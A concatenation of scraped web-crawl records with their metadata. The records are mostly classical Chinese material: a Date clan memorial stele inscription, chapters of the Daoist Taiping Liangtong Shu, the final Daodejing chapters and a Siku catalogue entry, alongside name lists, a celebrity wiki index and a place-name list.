王粉莫 王粉霖 王粉溧 王粉洵 王粉克 王粉翠 王粉行 王粉亿 王粉骅 王粉歆 王粉妍 王粉舰 王粉乙 王粉振 王粉荧 王粉轲 王粉竹 王粉秦 王粉原 王粉为 王粉如 王粉谕 王粉径 王粉延 王粉渔 王粉瀛 王粉野 王粉颐 王粉析 王粉瑗 王粉梓 王粉醉 王粉泊 王粉霜 王粉尤 王粉丞 王粉非 王粉弋 王粉蓥 王粉胤 王粉虔 王粉香 王粉蔚 王粉男 王粉超 王粉洪 王粉玮 王粉锐 王粉亮 王粉颍 王粉禹 王粉乔 王粉昶 王粉旭 王粉亭 王粉莱 王粉琪 王粉清 王粉珂 王粉葭 王粉泓 王粉夏 王粉戎 王粉榜 王粉翊 王粉淏 王粉优 王粉亚 王粉方 王粉慕 王粉玥 王粉栊 王粉苇 王粉山 王粉逸 王粉娉 王粉绮 王粉虹 王粉珺 王粉儒 王粉金 王粉丝 王粉杭 王粉玄 王粉默 王粉统\n以上就是小编为大家整理带来的带米字旁的女孩名字,有需要的父母可以来参考下哦,希望能给大家带来有用的参考。\n彩库宝典\n剑阵诛仙\n锦衣寒刀手机版","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.4953265.cn\/1940a\/26021.html","date":"2020-09-28T15:44:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401601278.97\/warc\/CC-MAIN-20200928135709-20200928165709-00700.warc.gz","language":"lzh","language_score":0.4898839891,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48988398909568787, \"cmn_Hani_score\": 0.31785058975219727, \"nan_Hani_score\": 0.19185106456279755}","num_words":423,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":500.0,"cluster_detection":1} +{"text":"幕末の亘理伊達家当主、伊達邦成の建立した石碑が、陽林寺の実元墓の横に建つ。\n慶応元年、江戸城守備からの帰途、陽林寺に参詣しての発願であった。\n以下、碑文。\n君諱実元 幼字時宗丸 既冠藤五郎 藤原姓伊達氏 天正乙亥春 徐従五位下任兵部大輔 我宗藩左京大夫公諱稙宗第三子 妣葦名氏修理大夫諱盛高之女也 外曾祖越後国主上杉氏諱定実 欲養君 以為嗣約定 天文壬寅六月使其国老直江某来逆 与之偏諱名実元 又贈長光刀及竹雀徽号幕 会我臣桑折宗保 中野宗時 謀乱事発覚 約遂不果 是時臣士分党争隙 漸醸禍機 欲離間 稙宗 晴宗二公之際 君尚妙齢 処其間 謹慎周密 謂得乃父之心 則将失乃兄之心 遂与其臣数人 去周遊四方 若無復求于世物矣 当是時天下分裂 群雄割拠 苟有志于経世者 正将有為之秋矣 君乃幡然而起 与羽田伊庭野等謀 攻遠藤隠岐大森城克之 就而居焉 又攻堀越能登八丁目城克之 近邑聞風靡然来降 既而 君以大森八丁目二城奉事 晴宗公甚謹 自是兄弟之情益厚 元亀初 中野宗時再図不軌 如天文之乱 君与最上岩瀬岩城諸族相謀 克夷内難 以底平定 君雖終不冒上杉氏 以其約既定也 定実所与之偏諱及徽号 終身用之 後晴宗公特命以竹雀 永為伊達氏之徽号 且使君居公族之首以世界翼公室 君晩年隠退 自号棲安斎 天正十五年丁亥四月十六日卒 距大永六年丁亥之生六十一年矣 葬奥州信夫郡大森域墟東南半里 小倉村陽林寺之域 植松以表之 釈謚曰独照院傑山豪英 配畠山氏先歿 継室伊達氏 有子 諱成実 承家 輔藩祖公有偉功 賜采邑亘理宇多二郡 子姓相承 振々益盛 君為人温厚沈実 而有遠略 能容雄才 故四方将士 来事於我者 多依頼君云 慶長中 陽林寺主(「林」の下に「分」)達 建大雄寺於亘理 以奉君之神主 天保丙申建廟以祀 然而陽林寺以在邦境十数里外 且無其墓表也 日就荒蕪 於是十五世孫 邦成君 深恐重其不虔之罪 会慶応乙丑十月 奉 宗藩之命 代衛江戸城 翌年六月任満 将帰邑 途過陽林寺展謁其墳 議更樹一碑以伝之不朽 使臣顕允銘之 且菫其事 臣不文 豈足以発揚 君之盛徳哉 雖然我 君脩追遠之道以帰厚之一大盛事 臣固当賛成之 不得以不文乱之也 乃謹作之銘 々曰\n外禦寇敵 内清蕭墻 深謀偉略 威武以張 宗子維城 邦家之光 垂休万世 子姓洋々 有鬱其松 是君之蔵 勒文此碑 後人所望\n慶応三年丁卯夏四月\n十五世孫伊達邦成題額 臣前田実至謹書\nPage Top","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/shigezane.info\/majime\/kazoku\/bohi.html","date":"2020-10-24T20:56:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107884755.46\/warc\/CC-MAIN-20201024194049-20201024224049-00259.warc.gz","language":"lzh","language_score":0.873085618,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.873085618019104, \"cmn_Hani_score\": 0.06294827908277512, \"nan_Hani_score\": 0.0388932079076767, \"jpn_Jpan_score\": 0.02216772735118866}","num_words":131,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.884,"perplexity_score":500.0,"cluster_detection":1} +{"text":"道藏典籍全文数据库\n太平兩同書\n太平兩同書卷下 下载本卷为CSV文本文件\n简介:經名:太平兩同書。原不題撰人,一說吳筠撰,一說羅隱撰。二卷。底本出處:《正統道藏》太平部。\n文献引用:太平兩同書. 道藏, 太平部. http:\/\/daotext.org\/\/toc4.php?docid=4837\n太平兩同書卷下\n理亂第六\n夫家同之理亂在乎文武之道也。昔者聖人之造書契以通隱情,刻弓矢以威不伏,二者古今之所存焉。然則文以致理,武以定亂。文雖致理不必止其亂,武雖定亂不必適其理。故防亂在乎用武,勸理在乎用文,若手足之遞使,舟車之更載也。是以漢祖矜功,陸賈諭以為學;魯公赴會,仲尼請其設備,蓋有由也。然夫文者,道之以德;德在乎內誠,不在乎誇飾者也。武者,示之以威;威在乎自全,不在乎強名也。苟以強名,則昊雖多利兵適足彰其敗也。苟以誇飾,則魯雖盡儒服不足救其弱也。是故始皇築長城,修戰伐,勞役不休,人不堪命,遂使陳涉之流坐乘其弊禍,起於強名也。王莽構靈臺,興禮樂,賦斂無度,人不聊生,遂使聖公之徒行收其利敗,始於虛飾也。故始皇用武於天下也,若陶者之涎器,雖務欲求其大而不知薄者之所以反脆也。王莽用文於天下也,若匠者之斷材,雖志在矜其妙而不知細者之所以速折也。二者皆以理之終以為亂也,此未得其大體也。且夫文者示人有章,必存乎簡易,簡易則易從,將有耿且格;武者示人有備,必在乎恬淡,恬淡則自守,恆以逸而待勞。恆以逸而待勞,則攻戰無不利;有恥且格,則教化無不行。化行而眾和,戰利而寇息,然後澄之以無事,濡之以至仁。此聖主所以得其理也。然二子不求之於內而索之於外,不撫之以性而縱之以情,煩文以黷下,暴武以困眾,此不可得意於天下也。雖然猶有其弊,何者。昔伯益鑿井,燧人鑽木,水火之利于今賴之。然智伯因之以灌趙城,董卓因之以焚漢室,是乃為害亦以甚矣。然則文武者理國之利器也,而盜竊者亦何嘗不以文武之道亂天下乎。故章那以軍旅而分秦地,田常以仁義而篡齊國,則有理不能無其亂,唯人主之所制也。是故牧馬者先去其害,驅羊者亟鞭其後。後之不鞭,羊之所失也;害·\n之不去,馬之所亡也。魯不能去三家之害,國之所叛也;晉不能鞭六卿之後,地之所分也。苟亦不能,則雖有簡易之文,恬淡之武,適足助其亂也,安可得其理乎。故聖人不得文武之道不理賊,臣不得文武之道不亂非。文武有去就之私,蓋人主失其柄也。故孔子曰:天下有道,禮樂征伐自天子出。其是之謂乎。\n得失第七\n夫駒驗騁遠必以四足之力,鸞駑翔遐莫非六翮之用也。是以聖人撫運明主乘時,亦以杞梓之材而為股肱之任。然則地有山川,其險可見;天有冬夏,其時可知。至於凡人之心,杳然無所,素王以之不測,帝堯猶以為難將,欲用之不無得失也。何以言之。夫君者舟也,臣者水也。水能浮舟,亦能覆舟;臣能輔君,亦能危君。是以三傑用而漢興,六卿強而晉滅;陶朱在而越霸,田氏盛而齊亡,雖任是同而成敗尤異也。夫人者姦充無端,真偽匪一,或貌恭而心慢,或言親而行違,或賤廉而貴貪,或貧貞而富黷,或愆大以求變,或位高而自疑,或見利而忘恩,或逃刑而構隙。此則曹筮不足庾,鬼神不能定。且利器者至重也,人心者難知也。以至重之利器,假難知之人心,未明真偽之情,徒信毀譽之口,有霍光之才者亦以得矣,有王莽之行者亦以失矣。是故考之於宗親,則管叔周公不無忠僻;驗之於戚屬,則竇嬰呂祿不無正邪;推之於功臣,則王陵鯨布不無逆順;論之於故友,則樊嗆盧綰不無去留;取以刀筆之能,則若張湯之欺誑;賞以頰舌之用,則厭主父偃之倒行;若智策有餘,則陳平不可獨任;若英謀出眾,則韓信慮其難制。夫天下之至大也,無其人則不可獨守,有其人則又恐為亂,亦何不取其才而不制其亂也。且夫毛髮植於頭也,曰以櫛之;爪甲冠於指也,月以鑪之。爪之不鑪,長則不便於使也;髮之不櫛,久則彌成於亂也。夫爪甲毛髮者近在己躬,本無情識,苟不以理猶為之難;況於臣下非同體之物,人心有易遷之慮,委之以臧否,隨之以是非,蓋不可以容易也。是故逐長路者必在於駿馬之力,理天下者必求於賢臣之用。然駿馬苟馴,猶不可以無轡也;賢臣雖任,終不可以失權也。故夫御馬者,其轡煩,則其馬踝而不進;其轡縱,則其馬驕而好逸。使夫縱不至逸,煩而每進者,唯造父之所能也。夫御臣者,其權峻,則其臣懼而不安;其權寬,則其臣慢而好亂。使夫寬而不至亂,峻而能安者,唯聖人之所明也。恐馬之多逸,捨馬而徒行,則長路不可濟也;懼臣之為亂,捨臣而獨任,則天下莫能理也。知馬之可乘而不執其轡,則不能禁其逸也;知臣之可用而不親其權,則不能止其亂也。是故項羽不用范增,是捨馬而徒行;漢帝雖有曹操,是乘馬而無轡;苟欲不敗其可得乎。故孔子曰:唯名與器,不可以假於人。其是之謂歟。\n真偽第八\n夫主上不能獨化也,必資賢輔;物心不為易治也,方俟甄議。使夫小人退野,君子居朝,然後可為得矣。然則善惡相生,是非交蹂,形彰而影附,脣竭而齒寒。苟有其真,不能無其偽也。是以歷代帝王統御家國,莫不側身馳心以恭,英又及所封授,則猶是愚小莫不攘臂切齒以疾;姦佞及所誅逐,則謬加賢良。此有識者之所嗟痛也。夫山鸚無靈,買之者謂之鳳;野麟嘉瑞,傷之者謂之庸。然麟鳳有圖,唐鸚無識,猶復以真為偽,以偽為真,況忠逆之情,靜躁之性。愚靖者類直,智狂者類賢;潔己者不能同人,犯顏者短於性主。情狀無形象可見,心慮非視聽所知,欲使銀鉛不雜,淄澠殊味,其有得者亦萬代之一遇也。是以昊用宰豁致戮於子胥,魯退仲尼委政於季氏,秦誅白起以舉應侯,趙信郭開殺李牧,卞和獻玉反遇楚刑,北郭吹竽濫食齊祿。若斯之類皇繁有徒然,則所是不必真,所非不必偽也。故真偽之際,有數術焉,不可不察也。何者。夫眾之所譽者,不可必謂其善也;眾之所毀者,不可必謂其惡也。我之所親者,不可必謂其賢也;我之所疏者,不可必謂其鄙也。何以明言。昔堯理洪水,伯鯀為眾所舉而洪水莫除;魏伐中山,樂羊為眾所慢而中山卒拔。鄧通延夢於漢主而非傅說之才,屈原見逐於楚王而無共工之罪。此則眾議不必是,獨見未為得也。是故明主疇咨在位,詳省己慮,先難而後易,考著以究微,使夫登用者不愧其賞,有罪者不逃其責,然後可為當矣。然則良馬驗之於馳驟,則駑駿可分,不藉孫陽之舉也;柔刃徵之於斷割,則利鈍可見,不勞風胡之談也。苟有難知之人,試之以任事,則真偽自辨,以塞天下之訟也。故先王之用人也,遠使之而觀其忠節,近使之而察其敬勤,令之以謀可識其智慮,煩之以務足見其材能,雜之以居視以貞濫,委之以利詳以貪廉困窮,要之以仁危難思之以信,尋其行而探其性,聽其辭而別其情,盡呂尚之八徵,驗皋陶之九德。然後素絲皆染,白璧投泥而不渝,黃葉並彫,青松凌霜而獨秀,則偽者去而真者得矣。故孔子曰:眾善者必察焉,眾惡者必察焉。其是之謂乎。\n同異第九\n夫同聲相應,同氣相求。雖虎異谷風,虎嘯而谷風起;蛇非山霧,蛇踴而山霧興,理所同耳。夫異類殊群,異情同行,雖蛤因雀化而蛤不與雀遊,鴛自鼠為而鴛不與鼠匹,理所異耳。然父子兄弟非不親矣,其心未必同,君臣朋友非不疏矣,其心未必異。故瞽叟愚而重華聖,盜蹺貪而柳下廉,劉季困而紀信焚,伯桃餓而角哀死。亦猶煙灰同出,飛沉自分;膠漆異生,而堅固相守也。然則情性不等,同異難并。大《易》雖云:同人於門。三爻復云:伏戎於莽。此則於同不能無異也。故有面同而心不同者,有外異而內不異者,有始同而終異者,有初異而末同者,有彼不同我而我與之同者,有彼不異我而我與之異者。何以明之。昔者陳平面向呂后,而心歸劉氏;程嬰外逆孫臼,而內存趙孤;張耳、陳餘始則刎頸之交,終構參商之隙;夷吾、小白初有射鉤之怨,末為魚水之歡;田氏懷誑義於齊君,齊君彌信;亞父盡至忠於項羽,項羽益疑,是則同異之心不可以。二而測也。是故明者徐視而審聽,高居而遠望也。隨時之宜,唯變所適,因其可同而與之同矣,因其可異而與之異矣。故衛青堅耳,漢武委之以軍旅;由余虜耳,秦穆授之以國政。夫以衛青、由余敵於秦漢非不疏矣,猶知可同而同之,況於父子兄弟之親而有可同者乎。且管叔兄耳,姬旦誅之以極刑;石厚子矣,石錯死之以大義也。夫以管叔、石厚比於旦錯非不親矣,猶知可異而異之,況乎君臣朋友之疏而有可同者乎。故能同異者為福,不能同異者為禍。虞舜能同八元,能異四罪,永垂聖哲之名;殷紂不同三仁,不異二臣,故取敗亡之辱。是則同異之際,不可失其微妙也。故孔子曰:見幾而作,不俟終曰。其是之謂歟。\n愛憎第十\n夫日之明也,無幽不燭,蓋之以重雲則光輝莫睹;水之鑑也,有來而斯應,混之以糝土則影像俱滅。夫以水曰之明鑑失其常然者,豈不以雲土之異移其性乎。是則人有神智之察非不靈矣,徒以內存愛尚之情,外挾憎忿之事,則是非得失不能不惑焉。何以明之。昔重華孝矣,瞽叟病之,親行不義;寤生賢矣,武姜惡之,自構其亂;鶴乃賤矣,衛君重之,載以華軒;馬則微矣,楚王好之,衣以文繡。夫以骨肉相親固無間矣,而猶憎之,禽畜類別誠於分矣,而猶愛之。況乎明君信臣不如父母之信子,邪士媚於主巧於鶴馬之媚,人而無愛憎之迷者蓋亦寡矣。是故汲黯、袁盎以忠諫而屢出,籍孺、韓嫣以佞倖而益重,孫通諛言而受賞,賈誼切直而見疏。甚矣哉,愛憎之惑人也如此。若夫忠臣之事君也,面諍君之惡方,欲成君之美,而君反以為憎己也。佞人之事主也,面諛主之善方,反長主之過,而主反以為愛己也。殊不知聞惡而遷善永為有道之君,悅善而忘惡長為不義之主。是則致君於有道者,豈得不為大愛乎。陷主於不義者,豈得不為大憎乎。而主不原忠諂之情,輕肆向背之志,以為愛己者己亦愛之,則寵光加於三族;以為憎己者己亦憎之,則夷滅被於五宗,遂使剖心刎頸之誠棄而莫用,舐痔吮癱之類擢以殊級。且夫賞以勸善,名以爵賢,使天下不肖者有名,無功者受賞,則何以勸天下乎;法以禁非,刑以懲惡,使夫懷忠者坐法,行直者遇刑,則何以禁天下乎。是以漢憎雍齒,張良以為可封;隋寵少師,伯比以為可伐。何則,有功者害,適為不祥,無德是親,自\n。。。。。。\n缺文\n太平兩同書卷下竟\nDaoText.org - 豫ICP备11011523号 本站为非营利性学术网站 由 维护","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/daotext.org\/toc4.php?docid=4837","date":"2020-10-25T16:19:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107889574.66\/warc\/CC-MAIN-20201025154704-20201025184704-00560.warc.gz","language":"lzh","language_score":0.4469824731,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4469824731349945, \"cmn_Hani_score\": 0.4063474237918854, \"nan_Hani_score\": 0.06216178089380264, \"wuu_Hani_score\": 0.02411181479692459, \"jpn_Jpan_score\": 0.012760983780026436}","num_words":28,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.445,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第八十章\n小國寡民。使有什伯之器而不用,使民重死而不遠徙。雖有舟輿,無所乘之;雖有甲兵,無所陳之。使人復結繩而用之。甘其食,美其服,安其居,樂其俗。鄰國相望,雞犬之聲相聞,民至老死不相往來。\n第八十一章\n信言不美,美言不信。善者不辯,辯者不善。知者不博,博者不知。聖人不積。既以為人己愈有,既以與人己愈多。天之道,利而不害;聖人之道,為而不爭。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.zensoul.org\/%E7%B6%B2%E8%B7%AF%E8%AC%9B%E7%B6%93\/%E7%B7%9A%E4%B8%8A%E8%81%BD%E8%AC%9B\/%E9%81%93%E5%BE%B7%E7%B6%93\/item\/1474-%E9%81%93%E5%BE%B7%E7%B6%93-(-39-)-95.11.24-%E4%B8%8B.html","date":"2021-01-18T23:41:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703517159.7\/warc\/CC-MAIN-20210118220236-20210119010236-00425.warc.gz","language":"lzh","language_score":0.6769250631,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.6769250631332397, \"cmn_Hani_score\": 0.2621733546257019, \"nan_Hani_score\": 0.05450109764933586}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.8,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 一舊水 藍潔瑛 曹永廉 馬德鐘 Ben Lau 李司棋 王貽興 方力申 所有項目 (170) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 2 2R A Albert Tam Angelababy B Ben Lau E Erick 爸爸 F Freeze J Jim Jim L LOU記 M Ming Ming P Peter (星期日檔案) R Ruby W William Hung 一 一舊水 中 討論:中國 任 任達華 佘 佘詩曼 余 余慕蓮 傅 傅穎 出 分類:出位演員 劉 劉以達 劉德華 劉松仁 劉江 劉美君 劉青雲 古 古天樂 古明華 司 司徒法正 向 向西村上春樹 吳 吳君如 吳啟華 吳孟達 吳鎮宇 呂 呂慧儀 周 周杰倫 周潤發 周秀娜 唐 唐素琪 夏 夏雨 大 大J 姜 姜大衛 宋 宋本中 宣 宣萱 容 容祖兒 實 分類:實力派演員 小 小姓奴 岳 岳華 廖 廖偉雄 廖啟智 張 張兆輝 張可頤 張國強 張國榮 張如城 張學友 張家輝 張曼玉 徐 徐嘉樂 徐淑敏 徐錦江 成 成龍 戴 戴耀明 文 文詠珊 方 方力申 曹 曹永廉 曾 曾江 本 本地網民熟悉的日本女演員 李 李司棋 李天翔 李安 李成昌 李曼筠 杜 杜汶澤 杜麗莎 林 林潔瑜 梁 梁朝偉 梅 梅艷芳 楊 楊怡 楊穎 歐 歐瑞偉 歐陽震華 江 江美儀 江華 洪 洪卓立 游 游莨維 牛 牛佬 犀 犀利哥 王 王友良 王喜 王浩信 王貽興 甄 甄子丹 田 田蕊妮 盧 盧宛茵 盧海鵬 石 石修 神 神仙B 禿 禿伯 秦 秦沛 絕 絕影 羅 羅凱珊 羅嘉良 羅莽 翁 翁美玲 胡 胡定欣 胡杏兒 腦 腦魔二世 苗 苗僑偉 萬 萬梓良 萬綺雯 葉 葉德嫻 蔡 蔡加讚 蔡卓妍 蔣 蔣志光 藍 藍潔瑛 袁 袁彌明 許 許紹雄 許鎮德 謝 謝天華 謝雪心 趙 趙燕萍 趙碩之 邵 邵美琪 郭 郭富城 郭峰 郭政鴻 郭晉安 鄧 鄧梓峰 鄧萃雯 鄧麗欣 鄭 鄭則仕 鄭嘉穎 鄭子誠 鄭少秋 鄭欣宜 鍾 鍾嘉欣 鍾志光 鍾蕙芝 關 關禮傑 關詠荷 陳 陳冠希 陳啟泰 陳國邦 陳展鵬 陳文媛 陳柏宇 陳法拉 陳百祥 陳百祥 (消歧義) 陳豪 陳錦鴻 陳鴻烈 韓 韓馬利 顏 顏福偉 馬 馬國明 馬德鐘 馬浚偉 駱 駱應鈞 高 高登 (歌手) 魏 魏駿傑 魯 魯芬 麥 麥長青 黃 黃子華 黃日華 黃智賢 黃智雯 黃秋生 黃耀明 黎 黎耀祥 黎諾懿 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:高登娛樂名人?oldid=586477\" 分類: 高登名人 娛樂圈人物 網絡紅人 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E9%AB%98%E7%99%BB%E5%A8%9B%E6%A8%82%E5%90%8D%E4%BA%BA","date":"2021-04-16T11:41:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038056325.1\/warc\/CC-MAIN-20210416100222-20210416130222-00037.warc.gz","language":"lzh","language_score":0.4653332829,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4653332829475403, \"cmn_Hani_score\": 0.4253629148006439, \"nan_Hani_score\": 0.0680994987487793, \"yue_Hani_score\": 0.03783804178237915}","num_words":319,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.316,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.649,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部三十五 雜家類存目二\n支談 三卷\n兩江總督採進本\n明焦竑撰。竑有易筌。已著錄。是書主於三教歸一。而併欲陰駕佛老於孔子之上。此姚江末流之極弊。併其本旨失之者。雖亦講學之言。不復以儒家論之。亦不復以儒理責之矣。","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0262102.html","date":"2021-05-06T10:53:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988753.91\/warc\/CC-MAIN-20210506083716-20210506113716-00311.warc.gz","language":"lzh","language_score":0.4938251078,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.49382510781288147, \"cmn_Hani_score\": 0.3762706220149994, \"jpn_Jpan_score\": 0.04470626264810562, \"yue_Hani_score\": 0.04274146631360054, \"wuu_Hani_score\": 0.020153535529971123, \"nan_Hani_score\": 0.01929859258234501}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":500.0,"cluster_detection":1} +{"text":"全部分類 桃園 中壢 平鎮 八德 阿勒泰 烏蘇 塔城 霍爾果斯 奎屯 伊寧 和田 喀什 阿圖什 阿克蘇 庫爾勒 阿拉山口 博樂 阜康 昌吉 海倫 肇東 安達 五大連池 北安 東寧 穆棱 寧安 海林 綏芬河 桃山 富錦 同江 撫遠 鐵力 密山 虎林 恒山 訥河 五常 尚志 和龍 龍井 琿春 敦化 圖們 延吉 大安 洮南 扶余 臨江 集安 梅河口 雙遼 公主嶺 磐石 舒蘭 樺甸 蛟河 德惠 榆樹 興城 凌源 北票 開原 調兵山 燈塔 大石橋 蓋州 北鎮 凌海 鳳城 東港 海城 莊河 瓦房店 新民 錫林浩特 二連浩特 阿爾山 烏蘭浩特 豐鎮 根河 額爾古納 扎蘭屯 牙克石 霍林郭勒 青銅峽 靈武 德令哈 格爾木 玉樹 合作 敦煌 玉門 神木 華陰 韓城 興平 汾陽 孝義 霍州 侯馬 原平 河津 永濟 介休 高平 潞城 古交 香格里拉 瀘水 芒市 瑞麗 大理 景洪 文山 彌勒 蒙自 開遠 個舊 楚雄 騰沖 宣威 安寧 福泉 都勻 凱里 興義 仁懷 赤水 盤州 清鎮 西昌 康定 馬爾康 萬源 華鎣 閬中 峨眉山 隆昌 江油 綿竹 什邡 廣漢 崇州 邛崍 彭州 都江堰 簡陽 項城 永城 鄧州 靈寶 義馬 長葛 禹州 孟州 沁陽 輝縣 衛輝 林州 汝州 舞鋼 偃師 登封 新鄭 新密 滎陽 鞏義 德興 高安 樟樹 豐城 井岡山 瑞金 貴溪 共青城 瑞昌 廬山 樂平 憑祥 合山 靖西 北流 桂平 東興 岑溪 吉首 漣源 冷水江 洪江 資興 沅江 津市 臨湘 汨羅 武岡 常寧 耒陽 韶山 湘鄉 醴陵 寧鄉 寧國 界首 明光 天長 桐城 巢湖 利川 恩施 廣水 赤壁 武穴 麻城 松滋 洪湖 石首 漢川 安陸 應城 鐘祥 宜城 棗陽 老河口 枝江 當陽 宜都 丹江口 大冶 深州 冀州 三河 霸州 河間 黃驊 任丘 泊頭 平泉 高碑店 安國 定州 涿州 沙河 南宮 武安 遷安 遵化 新樂 晉州 辛集 臨清 禹城 樂陵 乳山 榮成 肥城 新泰 鄒城 曲阜 昌邑 高密 安丘 壽光 諸城 青州 海陽 棲霞 招遠 蓬萊 萊州 萊陽 龍口 滕州 萊西 平度 膠州 福鼎 福安 漳平 建甌 武夷山 邵武 龍海 南安 晉江 石獅 永安 長樂 福清 龍泉 臨海 溫嶺 玉環 江山 永康 東陽 義烏 蘭溪 嵊州 諸暨 桐鄉 平湖 海寧 樂清 瑞安 慈溪 余姚 建德 泰興 靖江 興化 句容 揚中 丹陽 高郵 儀征 東臺 海門 如皋 啟東 如東 太倉 昆山 張家港 常熟 溧陽 邳州 新沂 宜興 江陰 羅定 普寧 連州 英德 陽春 陸豐 興寧 四會 信宜 化州 高州 吳川 雷州 廉江 恩平 鶴山 開平 臺山 南雄 樂昌 高雄 臺中 嘉義縣 臺南縣 南投縣 臺北 新北 云林縣 苗栗縣 基隆 花蓮縣 屏東縣 桃園縣 臺東縣 宜蘭縣 彰化縣 澎湖縣 阿里 那曲 山南 林芝 昌都 日喀則 拉薩 昆玉 可克達拉 雙河 鐵門關 北屯 五家渠 圖木舒克 阿拉爾 石河子 阿勒泰 塔城 伊犁 和田 喀什 柯爾克孜 阿克蘇 巴音郭楞 博爾塔拉 昌吉 哈密 吐魯番 克拉瑪依 烏魯木齊 大興安嶺 綏化 黑河 牡丹江 七臺河 佳木斯 伊春 大慶 雙鴨山 鶴崗 雞西 齊齊哈爾 哈爾濱 延邊 白城 松原 白山 通化 遼源 四平 吉林 長春 葫蘆島 朝陽 鐵嶺 盤錦 遼陽 阜新 營口 錦州 丹東 本溪 撫順 鞍山 大連 沈陽 阿拉善 錫林郭勒 興安盟 烏蘭察布 巴彥淖爾 呼倫貝爾 鄂爾多斯 通遼 赤峰 烏海 包頭 呼和浩特 中衛 固原 吳忠 石嘴山 銀川 海西州 玉樹州 果洛州 海南州 黃南州 海北州 海東 西寧 甘南州 臨夏州 隴南 定西 慶陽 酒泉 平涼 張掖 武威 天水 白銀 金昌 嘉峪關 蘭州 商洛 安康 榆林 漢中 延安 渭南 咸陽 寶雞 銅川 西安 呂梁 臨汾 忻州 運城 晉中 朔州 晉城 長治 陽泉 大同 太原 迪慶 怒江 德宏 大理 西雙版納 文山 紅河 楚雄 臨滄 普洱 麗江 昭通 保山 玉溪 曲靖 昆明 黔南 黔東南 黔西南 銅仁 畢節 安順 遵義 六盤水 貴陽 涼山 甘孜 阿壩 資陽 巴中 雅安 達州 廣安 宜賓 眉山 南充 樂山 內江 遂寧 廣元 綿陽 德陽 瀘州 攀枝花 自貢 成都 濟源 駐馬店 周口 信陽 商丘 南陽 三門峽 漯河 許昌 濮陽 焦作 新鄉 鶴壁 安陽 平頂山 洛陽 開封 鄭州 上饒 撫州 宜春 吉安 贛州 鷹潭 新余 九江 萍鄉 景德鎮 南昌 崇左 來賓 河池 賀州 百色 玉林 貴港 欽州 防城港 北海 梧州 桂林 柳州 南寧 湘西 婁底 懷化 永州 郴州 益陽 張家界 常德 岳陽 邵陽 衡陽 湘潭 株洲 長沙 宣城 池州 亳州 六安 宿州 阜陽 滁州 黃山 安慶 銅陵 淮北 馬鞍山 淮南 蚌埠 蕪湖 合肥 神農架 天門 潛江 仙桃 恩施 隨州 咸寧 黃岡 荊州 孝感 荊門 鄂州 襄陽 宜昌 十堰 黃石 武漢 衡水 廊坊 滄州 承德 張家口 保定 邢臺 邯鄲 秦皇島 唐山 石家莊 菏澤 濱州 聊城 德州 臨沂 萊蕪 日照 威海 泰安 濟寧 濰坊 煙臺 東營 棗莊 淄博 青島 濟南 三沙 瓊中縣 保亭 陵水 樂東 昌江 白沙 臨高縣 澄邁縣 屯昌縣 定安縣 東方 萬寧 文昌 儋州 瓊海 五指山 三亞 ???\/a> 寧德 龍巖 南平 漳州 泉州 三明 莆田 廈門 福州 麗水 臺州 舟山 衢州 金華 紹興 湖州 嘉興 溫州 寧波 杭州 宿遷 泰州 鎮江 揚州 鹽城 淮安 連云港 南通 蘇州 常州 徐州 無錫 南京 云浮 揭陽 潮州 中山 東莞 清遠 陽江 河源 汕尾 梅州 惠州 肇慶 茂名 湛江 江門 佛山 汕頭 珠海 深圳 韶關 廣州 港澳 重慶 天津 上海 北京 